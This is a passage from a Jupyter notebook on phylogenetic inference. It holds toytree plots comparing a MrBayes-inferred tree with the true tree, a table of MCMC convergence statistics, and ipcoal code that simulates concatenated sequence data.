style=\"background-color:transparent;border-color:#292724;border-style:none;border-width:1.0;fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:Helvetica;font-size:12px;opacity:1.0;stroke:rgb(16.1%,15.3%,14.1%);stroke-opacity:1.0;stroke-width:1.0\" viewBox=\"0 0 350.0 260.0\" width=\"350.0px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:toyplot=\"http://www.sandia.gov/toyplot\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><g class=\"toyplot-coordinates-Cartesian\" id=\"tc913c5b632624b8c84652255a7ab2223\"><clipPath id=\"ta35e2d9716a74fde8fc05c89291e7504\"><rect height=\"200.0\" width=\"290.0\" x=\"30.0\" y=\"30.0\"></rect></clipPath><g clip-path=\"url(#ta35e2d9716a74fde8fc05c89291e7504)\"><g class=\"toytree-mark-Toytree\" id=\"tdb03a5c60df94ed4977dc131c8918684\"><g class=\"toytree-Edges\" style=\"fill:none;opacity:1;stroke:rgb(14.9%,14.9%,14.9%);stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 233.6 57.0 L 274.5 175.4\" id=\"14,13\"></path><path d=\"M 233.6 57.0 L 192.6 119.7\" id=\"14,12\"></path><path d=\"M 192.6 119.7 L 160.5 128.5\" id=\"12,11\"></path><path d=\"M 160.5 128.5 L 129.4 156.3\" id=\"11,10\"></path><path d=\"M 129.4 156.3 L 100.4 169.1\" id=\"10,9\"></path><path d=\"M 100.4 169.1 L 75.5 180.7\" id=\"9,8\"></path><path d=\"M 274.5 175.4 L 291.1 196.1\" id=\"13,7\"></path><path d=\"M 274.5 175.4 L 257.9 196.1\" id=\"13,6\"></path><path d=\"M 192.6 119.7 L 224.8 196.1\" id=\"12,5\"></path><path d=\"M 160.5 128.5 L 191.6 196.1\" id=\"11,4\"></path><path d=\"M 129.4 156.3 L 158.4 196.1\" id=\"10,3\"></path><path d=\"M 100.4 169.1 L 125.2 196.1\" id=\"9,2\"></path><path d=\"M 75.5 180.7 L 92.1 196.1\" id=\"8,1\"></path><path d=\"M 75.5 180.7 L 58.9 196.1\" id=\"8,0\"></path></g><g class=\"toytree-AlignEdges\" style=\"stroke:rgb(66.3%,66.3%,66.3%);stroke-dasharray:2, 4;stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 58.9 196.1 L 58.9 196.1\"></path><path d=\"M 92.1 196.1 L 92.1 196.1\"></path><path d=\"M 125.2 196.1 L 125.2 196.1\"></path><path d=\"M 158.4 196.1 L 158.4 196.1\"></path><path d=\"M 191.6 196.1 L 191.6 196.1\"></path><path d=\"M 224.8 196.1 L 224.8 196.1\"></path><path d=\"M 257.9 196.1 L 257.9 196.1\"></path><path d=\"M 291.1 196.1 L 291.1 196.1\"></path></g><g class=\"toytree-Nodes\" style=\"fill:rgb(10.6%,62%,46.7%);fill-opacity:1.0;stroke:rgb(100%,100%,100%);stroke-opacity:1.0;stroke-width:1.5\"><g id=\"node-0\" transform=\"translate(58.915,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-1\" transform=\"translate(92.082,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-2\" transform=\"translate(125.249,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-3\" transform=\"translate(158.416,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-4\" transform=\"translate(191.584,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-5\" transform=\"translate(224.751,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-6\" transform=\"translate(257.918,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-7\" transform=\"translate(291.085,196.087)\"><circle r=\"4.0\"></circle></g><g id=\"node-8\" transform=\"translate(75.499,180.750)\"><circle r=\"4.0\"></circle></g><g id=\"node-9\" transform=\"translate(100.374,169.143)\"><circle r=\"4.0\"></circle></g><g id=\"node-10\" transform=\"translate(129.395,156.327)\"><circle r=\"4.0\"></circle></g><g id=\"node-11\" transform=\"translate(160.489,128.475)\"><circle r=\"4.0\"></circle></g><g id=\"node-12\" transform=\"translate(192.620,119.724)\"><circle r=\"4.0\"></circle></g><g id=\"node-13\" transform=\"translate(274.501,175.432)\"><circle r=\"4.0\"></circle></g><g id=\"node-14\" transform=\"translate(233.561,56.957)\"><circle r=\"4.0\"></circle></g></g><g class=\"toytree-Tiplabels-L\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:end;white-space:pre\"><g transform=\"translate(61.98,211.09)rotate(-90.0)\"><text>r1</text></g><g transform=\"translate(95.15,211.09)rotate(-90.0)\"><text>r0</text></g><g transform=\"translate(128.32,211.09)rotate(-90.0)\"><text>r2</text></g><g transform=\"translate(161.48,211.09)rotate(-90.0)\"><text>r3</text></g><g transform=\"translate(194.65,211.09)rotate(-90.0)\"><text>r4</text></g><g transform=\"translate(227.82,211.09)rotate(-90.0)\"><text>r5</text></g><g transform=\"translate(260.98,211.09)rotate(-90.0)\"><text>r7</text></g><g transform=\"translate(294.15,211.09)rotate(-90.0)\"><text>r6</text></g></g><g class=\"toytree-Tiplabels-R\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:start;white-space:pre\"></g></g><g class=\"toytree-mark-Toytree\" id=\"tfa3e43c5aea04f58bb5445adafb7f756\"><g class=\"toytree-Edges\" style=\"fill:none;opacity:1;stroke:rgb(100%,54.9%,0%);stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 233.6 57.0 L 274.5 181.6\" id=\"14,13\"></path><path d=\"M 233.6 57.0 L 192.6 133.7\" id=\"14,12\"></path><path d=\"M 192.6 133.7 L 160.5 142.0\" id=\"12,11\"></path><path d=\"M 160.5 142.0 L 129.4 156.4\" id=\"11,10\"></path><path d=\"M 129.4 156.4 L 100.4 175.0\" id=\"10,9\"></path><path d=\"M 100.4 175.0 L 75.5 187.8\" id=\"9,8\"></path><path d=\"M 274.5 181.6 L 291.1 196.1\" id=\"13,7\"></path><path d=\"M 274.5 181.6 L 257.9 196.1\" id=\"13,6\"></path><path d=\"M 192.6 133.7 L 224.8 196.1\" id=\"12,5\"></path><path d=\"M 160.5 142.0 L 191.6 196.1\" id=\"11,4\"></path><path d=\"M 129.4 156.4 L 158.4 196.1\" id=\"10,3\"></path><path d=\"M 100.4 175.0 L 125.2 196.1\" id=\"9,2\"></path><path d=\"M 75.5 187.8 L 92.1 196.1\" id=\"8,1\"></path><path d=\"M 75.5 187.8 L 58.9 196.1\" id=\"8,0\"></path></g><g class=\"toytree-AlignEdges\" style=\"stroke:rgb(66.3%,66.3%,66.3%);stroke-dasharray:2, 4;stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 58.9 196.1 L 58.9 196.1\"></path><path d=\"M 92.1 196.1 L 92.1 196.1\"></path><path d=\"M 125.2 196.1 L 125.2 196.1\"></path><path d=\"M 158.4 196.1 L 158.4 196.1\"></path><path d=\"M 191.6 196.1 L 191.6 196.1\"></path><path d=\"M 224.8 196.1 L 224.8 196.1\"></path><path d=\"M 257.9 196.1 L 257.9 196.1\"></path><path d=\"M 291.1 196.1 L 291.1 196.1\"></path></g><g class=\"toytree-Tiplabels-L\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:end;white-space:pre\"><g transform=\"translate(61.98,211.09)rotate(-90.0)\"><text>r0</text></g><g transform=\"translate(95.15,211.09)rotate(-90.0)\"><text>r1</text></g><g transform=\"translate(128.32,211.09)rotate(-90.0)\"><text>r2</text></g><g transform=\"translate(161.48,211.09)rotate(-90.0)\"><text>r3</text></g><g transform=\"translate(194.65,211.09)rotate(-90.0)\"><text>r4</text></g><g transform=\"translate(227.82,211.09)rotate(-90.0)\"><text>r5</text></g><g transform=\"translate(260.98,211.09)rotate(-90.0)\"><text>r6</text></g><g transform=\"translate(294.15,211.09)rotate(-90.0)\"><text>r7</text></g></g><g class=\"toytree-Tiplabels-R\" style=\"fill:rgb(14.9%,14.9%,14.9%);fill-opacity:1.0;font-size:11px;font-weight:normal;stroke:none;text-anchor:start;white-space:pre\"></g></g></g><g class=\"toyplot-coordinates-Axis\" id=\"t3eb68606399b44959389a84188ea03b1\" transform=\"translate(50.0,210.0)rotate(-90.0)translate(0,-20.0)\"><line style=\"\" x1=\"13.913043478260867\" x2=\"153.04347826086953\" y1=\"0\" y2=\"0\"></line><g><line style=\"\" x1=\"13.913043478260867\" x2=\"13.913043478260867\" y1=\"0\" y2=\"5\"></line><line style=\"\" x1=\"83.47826086956519\" x2=\"83.47826086956519\" y1=\"0\" y2=\"5\"></line><line style=\"\" x1=\"153.04347826086953\" x2=\"153.04347826086953\" y1=\"0\" y2=\"5\"></line></g><g><g transform=\"translate(13.913043478260867,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-2.78\" y=\"-4.440892098500626e-16\">0</text></g><g transform=\"translate(83.47826086956519,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-16.68\" y=\"-4.440892098500626e-16\">500000</text></g><g transform=\"translate(153.04347826086953,-6)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:10.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-19.459999999999997\" y=\"-4.440892098500626e-16\">1000000</text></g></g><g class=\"toyplot-coordinates-Axis-coordinates\" style=\"visibility:hidden\" transform=\"\"><line style=\"stroke:rgb(43.9%,50.2%,56.5%);stroke-opacity:1.0;stroke-width:1.0\" x1=\"0\" x2=\"0\" y1=\"3.0\" y2=\"-4.5\"></line><text style=\"alignment-baseline:hanging;fill:rgb(43.9%,50.2%,56.5%);fill-opacity:1.0;font-size:10px;font-weight:normal;stroke:none;text-anchor:middle\" x=\"0\" y=\"6\"></text></g></g></g></svg><div class=\"toyplot-behavior\"><script>(function()\n", "{\n", "var modules={};\n", "modules[\"toyplot/canvas/id\"] = \"t47458f9628f14ce9acef093c822a5b27\";\n", "modules[\"toyplot/canvas\"] = (function(canvas_id)\n", " {\n", " return document.querySelector(\"#\" + canvas_id);\n", " })(modules[\"toyplot/canvas/id\"]);\n", "modules[\"toyplot.coordinates.Axis\"] = (\n", " function(canvas)\n", " {\n", " function sign(x)\n", " {\n", " return x < 0 ? -1 : x > 0 ? 1 : 0;\n", " }\n", "\n", " function mix(a, b, amount)\n", " {\n", " return ((1.0 - amount) * a) + (amount * b);\n", " }\n", "\n", " function log(x, base)\n", " {\n", " return Math.log(Math.abs(x)) / Math.log(base);\n", " }\n", "\n", " function in_range(a, x, b)\n", " {\n", " var left = Math.min(a, b);\n", " var right = Math.max(a, b);\n", " return left <= x && x <= right;\n", " }\n", "\n", " function inside(range, projection)\n", " {\n", " for(var i = 0; i != projection.length; ++i)\n", " {\n", " var segment = projection[i];\n", " if(in_range(segment.range.min, range, segment.range.max))\n", " return true;\n", " }\n", " return false;\n", " }\n", "\n", " function to_domain(range, projection)\n", " {\n", " for(var i = 0; i != projection.length; ++i)\n", " {\n", " var segment = projection[i];\n", " if(in_range(segment.range.bounds.min, range, segment.range.bounds.max))\n", " {\n", " if(segment.scale == \"linear\")\n", " {\n", " var amount = (range - segment.range.min) / (segment.range.max - segment.range.min);\n", " return mix(segment.domain.min, segment.domain.max, amount)\n", " }\n", " else if(segment.scale[0] == \"log\")\n", " {\n", " var amount = (range - segment.range.min) / (segment.range.max - segment.range.min);\n", " var base = segment.scale[1];\n", " return sign(segment.domain.min) * Math.pow(base, mix(log(segment.domain.min, base), log(segment.domain.max, base), amount));\n", " }\n", " }\n", " }\n", " }\n", "\n", " var axes = {};\n", "\n", " function display_coordinates(e)\n", " {\n", " var current = canvas.createSVGPoint();\n", " current.x = e.clientX;\n", " current.y = e.clientY;\n", "\n", " for(var axis_id in axes)\n", " {\n", " var axis = document.querySelector(\"#\" + axis_id);\n", " var coordinates = axis.querySelector(\".toyplot-coordinates-Axis-coordinates\");\n", " if(coordinates)\n", " {\n", " var projection = axes[axis_id];\n", " var local = current.matrixTransform(axis.getScreenCTM().inverse());\n", " if(inside(local.x, projection))\n", " {\n", " var domain = to_domain(local.x, projection);\n", " coordinates.style.visibility = \"visible\";\n", " coordinates.setAttribute(\"transform\", \"translate(\" + local.x + \")\");\n", " var text = coordinates.querySelector(\"text\");\n", " text.textContent = domain.toFixed(2);\n", " }\n", " else\n", " {\n", " coordinates.style.visibility= \"hidden\";\n", " }\n", " }\n", " }\n", " }\n", "\n", " canvas.addEventListener(\"click\", display_coordinates);\n", "\n", " var module = {};\n", " module.show_coordinates = function(axis_id, projection)\n", " {\n", " axes[axis_id] = projection;\n", " }\n", "\n", " return module;\n", " })(modules[\"toyplot/canvas\"]);\n", "(function(axis, axis_id, projection)\n", " {\n", " axis.show_coordinates(axis_id, projection);\n", " })(modules[\"toyplot.coordinates.Axis\"],\"t3eb68606399b44959389a84188ea03b1\",[{\"domain\": {\"bounds\": {\"max\": Infinity, \"min\": -Infinity}, \"max\": 1050000.0000000002, \"min\": -100000.0}, \"range\": {\"bounds\": {\"max\": Infinity, \"min\": -Infinity}, \"max\": 160.0, \"min\": 0.0}, \"scale\": \"linear\"}]);\n", "})();</script></div></div>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# load the inferred tree\n", "mbtre = toytree.tree(\"/tmp/itest-1.nex.con.tre\", 10)\n", "\n", "# scale root node to 1e6\n", "mbtre = mbtre.mod.node_scale_root_height(1e6)\n", "\n", "# draw inferred tree \n", "c, a, m = mbtre.draw(ts='o', layout='d', scalebar=True);\n", "\n", "# draw TRUE tree in orange on the same axes\n", "TREE.draw(\n", " axes=a, \n", " ts='o', layout='d', scalebar=True, \n", " edge_colors=\"darkorange\",\n", " node_sizes=0,\n", ");" ] }, { "cell_type": "code", "execution_count": 77, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Mean</th>\n", " <th>Variance</th>\n", " <th>Lower</th>\n", " <th>Upper</th>\n", " <th>Median</th>\n", " <th>minESS</th>\n", " <th>avgESS</th>\n", " <th>PSRF</th>\n", " </tr>\n", " <tr>\n", " <th>Parameter</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>TH</th>\n", " <td>9.748e-03</td>\n", " <td>5.926e-07</td>\n", " <td>8.215e-03</td>\n", " <td>1.137e-02</td>\n", " <td>9.745e-03</td>\n", " <td>338.719</td>\n", " <td>492.504</td>\n", " <td>1.002</td>\n", " </tr>\n", " <tr>\n", " <th>TL</th>\n", " <td>3.681e-02</td>\n", " <td>5.710e-06</td>\n", " <td>3.254e-02</td>\n", " <td>4.197e-02</td>\n", " <td>3.658e-02</td>\n", " <td>33.052</td>\n", " <td>375.649</td>\n", " <td>1.019</td>\n", " </tr>\n", " <tr>\n", " <th>r(A&lt;-&gt;C)</th>\n", " <td>1.649e-01</td>\n", " <td>2.324e-04</td>\n", " <td>1.332e-01</td>\n", " <td>1.865e-01</td>\n", " <td>1.642e-01</td>\n", " <td>7.771</td>\n", " <td>353.493</td>\n", " <td>1.046</td>\n", " </tr>\n", " <tr>\n", " <th>r(A&lt;-&gt;G)</th>\n", " <td>1.626e-01</td>\n", " <td>1.629e-04</td>\n", " <td>1.361e-01</td>\n", " <td>1.890e-01</td>\n", " <td>1.628e-01</td>\n", " <td>683.485</td>\n", " <td>693.271</td>\n", " <td>1.000</td>\n", " </tr>\n", " <tr>\n", " <th>r(A&lt;-&gt;T)</th>\n", " <td>1.948e-01</td>\n", " <td>2.129e-04</td>\n", " <td>1.699e-01</td>\n", " <td>2.270e-01</td>\n", " <td>1.922e-01</td>\n", " <td>20.844</td>\n", " <td>306.530</td>\n", " <td>1.007</td>\n", " </tr>\n", " <tr>\n", " <th>r(C&lt;-&gt;G)</th>\n", " <td>1.814e-01</td>\n", " <td>1.886e-04</td>\n", " <td>1.550e-01</td>\n", " <td>2.091e-01</td>\n", " <td>1.831e-01</td>\n", " <td>84.910</td>\n", " <td>297.140</td>\n", " <td>1.004</td>\n", " </tr>\n", " <tr>\n", " <th>r(C&lt;-&gt;T)</th>\n", " <td>1.312e-01</td>\n", " <td>1.544e-04</td>\n", " <td>1.069e-01</td>\n", " <td>1.559e-01</td>\n", " <td>1.292e-01</td>\n", " <td>55.086</td>\n", " <td>365.485</td>\n", " <td>1.015</td>\n", " </tr>\n", " <tr>\n", " <th>r(G&lt;-&gt;T)</th>\n", " <td>1.651e-01</td>\n", " <td>1.697e-04</td>\n", " <td>1.401e-01</td>\n", " <td>1.912e-01</td>\n", " <td>1.631e-01</td>\n", " <td>36.611</td>\n", " <td>320.227</td>\n", " <td>1.009</td>\n", " </tr>\n", " <tr>\n", " <th>pi(A)</th>\n", " <td>2.488e-01</td>\n", " <td>7.344e-06</td>\n", " <td>2.438e-01</td>\n", " <td>2.544e-01</td>\n", " <td>2.485e-01</td>\n", " <td>387.327</td>\n", " <td>441.524</td>\n", " <td>1.000</td>\n", " </tr>\n", " <tr>\n", " <th>pi(C)</th>\n", " <td>2.518e-01</td>\n", " <td>1.120e-05</td>\n", " <td>2.462e-01</td>\n", " <td>2.572e-01</td>\n", " <td>2.517e-01</td>\n", " <td>6.667</td>\n", " <td>320.241</td>\n", " <td>1.064</td>\n", " </tr>\n", " <tr>\n", " <th>pi(G)</th>\n", " <td>2.484e-01</td>\n", " <td>9.192e-06</td>\n", " <td>2.434e-01</td>\n", " <td>2.547e-01</td>\n", " <td>2.482e-01</td>\n", " <td>13.418</td>\n", " <td>239.950</td>\n", " <td>1.021</td>\n", " </tr>\n", " <tr>\n", " <th>pi(T)</th>\n", " <td>2.510e-01</td>\n", " <td>8.676e-06</td>\n", " <td>2.451e-01</td>\n", " <td>2.568e-01</td>\n", " <td>2.506e-01</td>\n", " <td>42.040</td>\n", " <td>251.688</td>\n", " <td>1.017</td>\n", " </tr>\n", " <tr>\n", " <th>alpha</th>\n", " <td>2.994e+00</td>\n", " <td>1.636e+00</td>\n", " <td>9.028e-01</td>\n", " <td>5.494e+00</td>\n", " <td>2.847e+00</td>\n", " <td>631.629</td>\n", " <td>691.315</td>\n", " <td>1.002</td>\n", " </tr>\n", " <tr>\n", " <th>igrvar</th>\n", " <td>1.309e-04</td>\n", " <td>3.692e-08</td>\n", " <td>1.019e-06</td>\n", " <td>5.165e-04</td>\n", " <td>5.420e-05</td>\n", " <td>6.539</td>\n", " <td>78.078</td>\n", " <td>1.060</td>\n", " </tr>\n", " <tr>\n", " <th>clockrate</th>\n", " <td>1.064e-02</td>\n", " <td>1.476e-05</td>\n", " <td>3.318e-03</td>\n", " <td>1.871e-02</td>\n", " <td>9.703e-03</td>\n", " <td>86.095</td>\n", " <td>91.622</td>\n", " <td>1.000</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Mean Variance Lower Upper Median minESS \\\n", "Parameter \n", "TH 9.748e-03 5.926e-07 8.215e-03 1.137e-02 9.745e-03 338.719 \n", "TL 3.681e-02 5.710e-06 3.254e-02 4.197e-02 3.658e-02 33.052 \n", "r(A<->C) 1.649e-01 2.324e-04 1.332e-01 1.865e-01 1.642e-01 7.771 \n", "r(A<->G) 1.626e-01 1.629e-04 1.361e-01 1.890e-01 1.628e-01 683.485 \n", "r(A<->T) 1.948e-01 2.129e-04 1.699e-01 2.270e-01 1.922e-01 20.844 \n", "r(C<->G) 1.814e-01 1.886e-04 1.550e-01 2.091e-01 1.831e-01 84.910 \n", "r(C<->T) 1.312e-01 1.544e-04 1.069e-01 1.559e-01 1.292e-01 55.086 \n", "r(G<->T) 1.651e-01 1.697e-04 1.401e-01 1.912e-01 1.631e-01 36.611 \n", "pi(A) 2.488e-01 7.344e-06 2.438e-01 2.544e-01 2.485e-01 387.327 \n", "pi(C) 2.518e-01 1.120e-05 2.462e-01 2.572e-01 2.517e-01 6.667 \n", "pi(G) 2.484e-01 9.192e-06 2.434e-01 2.547e-01 2.482e-01 13.418 \n", "pi(T) 2.510e-01 8.676e-06 2.451e-01 2.568e-01 2.506e-01 42.040 \n", "alpha 2.994e+00 1.636e+00 9.028e-01 5.494e+00 2.847e+00 631.629 \n", "igrvar 1.309e-04 3.692e-08 1.019e-06 5.165e-04 5.420e-05 6.539 \n", "clockrate 1.064e-02 1.476e-05 3.318e-03 1.871e-02 9.703e-03 86.095 \n", "\n", " avgESS PSRF \n", "Parameter \n", "TH 492.504 1.002 \n", "TL 375.649 1.019 \n", "r(A<->C) 353.493 1.046 \n", "r(A<->G) 693.271 1.000 \n", "r(A<->T) 306.530 1.007 \n", "r(C<->G) 297.140 1.004 \n", "r(C<->T) 365.485 1.015 \n", "r(G<->T) 320.227 1.009 \n", "pi(A) 441.524 1.000 \n", "pi(C) 320.241 1.064 \n", "pi(G) 239.950 1.021 \n", "pi(T) 251.688 1.017 \n", "alpha 691.315 1.002 \n", "igrvar 78.078 1.060 \n", "clockrate 91.622 1.000 " ] }, "execution_count": 77, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# check convergence statistics\n", "mb.convergence_stats" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### (2) Concatenated sequences from a species tree\n", "Here we use concatenated sequence data from 100 loci where each represents one or more distinct genealogies. In addition, Ne is increased to 1e5, allowing for more genealogical variation. *We expect the accuracy of estimated edge lengths will decrease since we are now adequately modeling the genealogical variation when using concatenation.*" ] }, { "cell_type": "code", "execution_count": 78, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "wrote concat locus (8 x 20000bp) to /tmp/mbtest-2.nex\n" ] } ], "source": [ "# init simulator\n", "model = ipcoal.Model(TREE, Ne=1e5, nsamples=2, recomb=0)\n", "\n", "# simulate sequence data on coalescent genealogies\n", "model.sim_loci(nloci=100, nsites=200)\n", "\n", "# write results to database file\n", "model.write_concat_to_nexus(name=\"mbtest-2\", outdir='/tmp', diploid=True)" ] }, { "cell_type": "code", "execution_count": 87, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div class=\"toyplot\" id=\"tf278c73b75c74a2bb1ce0ec478f07472\" style=\"text-align:center\"><svg class=\"toyplot-canvas-Canvas\" height=\"250.0px\" id=\"t4f22248e2c404379a4e67de4c8d19880\" preserveAspectRatio=\"xMidYMid meet\" style=\"background-color:transparent;border-color:#292724;border-style:none;border-width:1.0;fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:Helvetica;font-size:12px;opacity:1.0;stroke:rgb(16.1%,15.3%,14.1%);stroke-opacity:1.0;stroke-width:1.0\" viewBox=\"0 0 700.0 250.0\" width=\"700.0px\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:toyplot=\"http://www.sandia.gov/toyplot\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"><g class=\"toyplot-coordinates-Cartesian\" id=\"t4146c0d147d642728737dc42016eeddd\"><clipPath id=\"t8ccd8d25048d49c6a988fbfcf8130403\"><rect height=\"230.0\" width=\"155.0\" x=\"10.0\" y=\"10.0\"></rect></clipPath><g clip-path=\"url(#t8ccd8d25048d49c6a988fbfcf8130403)\"><g class=\"toytree-mark-Toytree\" id=\"t41fb13872d7943b6a709ad5766fc2af8\"><g class=\"toytree-Edges\" style=\"fill:none;opacity:1;stroke:rgb(14.9%,14.9%,14.9%);stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 36.3 91.7 L 102.0 48.8\" id=\"30,29\"></path><path d=\"M 36.3 91.7 L 57.4 134.7\" id=\"30,28\"></path><path d=\"M 102.0 48.8 L 102.7 58.9\" id=\"29,27\"></path><path d=\"M 57.4 134.7 L 88.7 103.4\" id=\"28,26\"></path><path d=\"M 57.4 134.7 L 90.0 166.0\" id=\"28,25\"></path><path d=\"M 102.7 58.9 L 119.6 67.5\" id=\"27,24\"></path><path d=\"M 88.7 103.4 L 106.6 90.5\" id=\"26,23\"></path><path d=\"M 88.7 103.4 L 119.7 116.4\" id=\"26,22\"></path><path d=\"M 90.0 166.0 L 107.7 148.0\" id=\"25,21\"></path><path d=\"M 90.0 166.0 L 93.4 184.0\" id=\"25,20\"></path><path d=\"M 119.7 116.4 L 120.4 125.0\" id=\"22,19\"></path><path d=\"M 93.4 184.0 L 121.0 171.0\" id=\"20,18\"></path><path d=\"M 93.4 184.0 L 111.0 196.9\" id=\"20,17\"></path><path d=\"M 111.0 196.9 L 125.0 205.5\" id=\"17,16\"></path><path d=\"M 102.0 48.8 L 126.9 38.7\" id=\"29,15\"></path><path d=\"M 102.7 58.9 L 126.9 50.2\" id=\"27,14\"></path><path d=\"M 119.6 67.5 L 126.9 61.7\" id=\"24,13\"></path><path d=\"M 119.6 67.5 L 126.9 73.2\" id=\"24,12\"></path><path d=\"M 106.6 90.5 L 126.9 84.7\" id=\"23,11\"></path><path d=\"M 106.6 90.5 L 126.9 96.2\" id=\"23,10\"></path><path d=\"M 119.7 116.4 L 126.9 107.7\" id=\"22,9\"></path><path d=\"M 120.4 125.0 L 126.9 119.2\" id=\"19,8\"></path><path d=\"M 120.4 125.0 L 126.9 130.8\" id=\"19,7\"></path><path d=\"M 107.7 148.0 L 126.9 142.3\" id=\"21,6\"></path><path d=\"M 107.7 148.0 L 126.9 153.8\" id=\"21,5\"></path><path d=\"M 121.0 171.0 L 126.9 165.3\" id=\"18,4\"></path><path d=\"M 121.0 171.0 L 126.9 176.8\" id=\"18,3\"></path><path d=\"M 111.0 196.9 L 126.9 188.3\" id=\"17,2\"></path><path d=\"M 125.0 205.5 L 126.9 199.8\" id=\"16,1\"></path><path d=\"M 125.0 205.5 L 126.9 211.3\" id=\"16,0\"></path></g><g class=\"toytree-AlignEdges\" style=\"stroke:rgb(66.3%,66.3%,66.3%);stroke-dasharray:2, 4;stroke-linecap:round;stroke-opacity:1.0;stroke-width:2\"><path d=\"M 126.9 211.3 L 126.9 211.3\"></path><path d=\"M 126.9 199.8 L 126.9 199.8\"></path><path d=\"M 126.9 188.3 L 126.9 188.3\"></path><path d=\"M 126.9 176.8 L 126.9 176.8\"></path><path d=\"M 126.9 165.3 L 126.9 165.3\"></path><path d=\"M 126.9 153.8 L 126.9 153.8\"></path><path d=\"M 126.9 142.3 L 126.9 142.3\"></path><path d=\"M 126.9 130.8 L 126.9 130.8\"></path><path d=\"M 126.9 119.2 L 126.9 119.2\"></path><path d=\"M 126.9 107.7 L 126.9 107.7\"></path><path d=\"M 126.9 96.2 L 126.9 96.2\"></path><path d=\"M 126.9 84.7 L 126.9 84.7\"></path><path d=\"M 126.9 73.2 L 126.9 73.2\"></path><path d=\"M 126.9 61.7 L 126.9 61.7\"></path><path d=\"M 126.9 50.2 L 126.9 50.2\"></path><path d=\"M 126.9 38.7 L 126.9 38.7\"></path></g><g class=\"toytree-Nodes\" style=\"fill:rgb(10.6%,62%,46.7%);fill-opacity:1.0;stroke:rgb(100%,100%,100%);stroke-opacity:1.0;stroke-width:1.5\"><g id=\"node-0\" transform=\"translate(126.883,211.281)\"><circle r=\"4.0\"></circle></g><g id=\"node-1\" transform=\"translate(126.883,199.777)\"><circle r=\"4.0\"></circle></g><g id=\"node-2\" transform=\"translate(126.883,188.273)\"><circle r=\"4.0\"></circle></g><g id=\"node-3\" transform=\"translate(126.884,176.769)\"><circle r=\"4.0\"></circle></g><g id=\"node-4\" transform=\"translate(126.884,165.264)\"><circle r=\"4.0\"></circle></g><g id=\"node-5\" transform=\"translate(126.883,153.760)\"><circle r=\"4.0\"></circle></g><g id=\"node-6\" transform=\"translate(126.883,142.256)\"><circle r=\"4.0\"></circle></g><g id=\"node-7\" transform=\"translate(126.883,130.752)\"><circle r=\"4.0\"></circle></g><g id=\"node-8\" transform=\"translate(126.883,119.248)\"><circle r=\"4.0\"></circle></g><g id=\"node-9\" transform=\"translate(126.883,107.744)\"><circle r=\"4.0\"></circle></g><g id=\"node-10\" transform=\"translate(126.883,96.240)\"><circle r=\"4.0\"></circle></g><g id=\"node-11\" transform=\"translate(126.883,84.736)\"><circle r=\"4.0\"></circle></g><g id=\"node-12\" transform=\"translate(126.883,73.231)\"><circle r=\"4.0\"></circle></g><g id=\"node-13\" transform=\"translate(126.883,61.727)\"><circle r=\"4.0\"></circle></g><g id=\"node-14\" transform=\"translate(126.883,50.223)\"><circle r=\"4.0\"></circle></g><g id=\"node-15\" transform=\"translate(126.883,38.719)\"><circle r=\"4.0\"></circle></g><g id=\"node-16\" transform=\"translate(125.046,205.529)\"><circle r=\"4.0\"></circle></g><g id=\"node-17\" transform=\"translate(111.004,196.901)\"><circle r=\"4.0\"></circle></g><g id=\"node-18\" transform=\"translate(120.955,171.017)\"><circle r=\"4.0\"></circle></g><g id=\"node-19\" transform=\"translate(120.437,125.000)\"><circle r=\"4.0\"></circle></g><g id=\"node-20\" transform=\"translate(93.352,183.959)\"><circle r=\"4.0\"></circle></g><g id=\"node-21\" 